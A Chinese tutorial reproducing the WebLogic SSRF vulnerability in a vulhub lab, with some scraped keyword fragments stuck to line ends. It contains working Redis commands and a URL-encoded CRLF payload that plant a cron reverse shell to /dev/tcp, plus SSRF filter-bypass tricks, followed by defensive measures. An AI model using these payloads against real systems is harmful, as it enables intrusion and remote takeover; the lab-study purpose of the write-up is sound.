Weblogic-SSRF漏洞复现 php
1、SSRF概念web
服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造造成有服务端发起请求的一个安全漏洞。通常状况下,SSRF攻击的目标是从外网没法访问的内部系统。redis
SSRF造成的缘由大都是因为服务端提供了从其余服务器应用获取数据的功能,且没有对目标地址作过滤与限制。好比从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。docker
2、SSRF用途shell
1.内外网的端口和服务扫描api
2.主机本地敏感数据的读取安全
3.内外网主机应用程序漏洞的利用bash
4.内外网web站点漏洞的利用服务器
3、漏洞影响版本dom
weblogic 10.0.2 -- 10.3.6
4、漏洞复现环境搭建
利用vulhub进行漏洞复现,docker搭建vulhub环境参考: https://blog.csdn.net/qq_36374896/article/details/84102101
Docker-compose build
Docker-compose up -d
5、漏洞复现
1.访问http://127.0.0.1:7001/uddiexplorer/,便可查看uddiexplorer应用
2.SSRF漏洞存在于http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp,提交参数值为url:port,根据返回错误不一样,可对内网状态进行探测如端口开放状态等
2.1随便输入内容,抓包
2.2发现以下图operator参数,参数的值是url,怀疑可能存在SSRF漏洞
2.3测试是否存在SSRF漏洞,在url后跟端口,把url修改成本身搭建的服务器地址,访问开放的80端口,发现返回以下信息
2.4访问一个不存在的端口,将返回but could not connect over HTTP to server
2.5经过上面的测试,能够发现目标存在SSRF漏洞
3.注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特色,其虽然是一个”GET/POST”请求,可是咱们能够经过传入%0a%0d来注入换行符,某些服务(如redis)是经过换行符来分隔每条命令,本环境能够经过该SSRF攻击内网中的redis服务器。
首先,经过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的。
3.1发送3条redis的命令,将反弹shell脚本写入/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/8888 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
3.2对命令进行URL编码,注意不能对全部命令编码,须要对部分特殊符号进行URL编码
http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
3.3监听,成功得到shell
6、SSRF漏洞的寻找
1.分享,经过URL地址分享网页内容
2.转码服务
3.在线翻译
4.图片加载与下载:经过URL地址加载或者下载图片
5.图片、文章收藏功能
6.未公开的api实现以及其余调用URL的功能
7.从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURI、imageURL、domain……
7、SSRF漏洞的验证方法
1.由于SSRF漏洞是构造服务器发送请求的安全漏洞,因此咱们能够经过抓包分析发送的请求是不是由服务器端发送的来判断是否存在SSRF漏洞
2.在页面源码中查找访问的资源地址,若是该资源地址类型为http://www.xxx.com/a.php?image=(地址)的可能存在SSRF漏洞
8、SSRF绕过技巧
1.添加端口号 http://127.0.0.1:8080
2.短网址绕过 http://dwz.cn/11SMa
3.IP限制绕过 十进制转换、八进制转换、十六进制转换、不一样进制组合转换
4.协议限制绕过 当url协议限制只为http(s)时,能够利用follow redirect特性,构造302跳转服务,结合dict://,file://,gopher://
5.能够指向任意ip的域名:xip.io
6.@ http://abc@127.0.0.1
9、SSRF防护
1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。若是web应用是去获取某一种类型的文件。那么在把返回结果展现给用户以前先验证返回的信息是否符合标准。
2.统一错误信息,避免用户能够根据错误信息来判断远程服务器的端口状态。
3.限制请求的端口为http经常使用的端口,好比80,443,8080,8090
4.黑名单内网ip。避免应用被用来获取内网数据,攻击内网
5.禁用不须要的协议。仅仅容许http和https请求。能够防止相似于file:///,gopher://,ftp:// 等引发的问题
---------------------------------------------------------------------------------------------------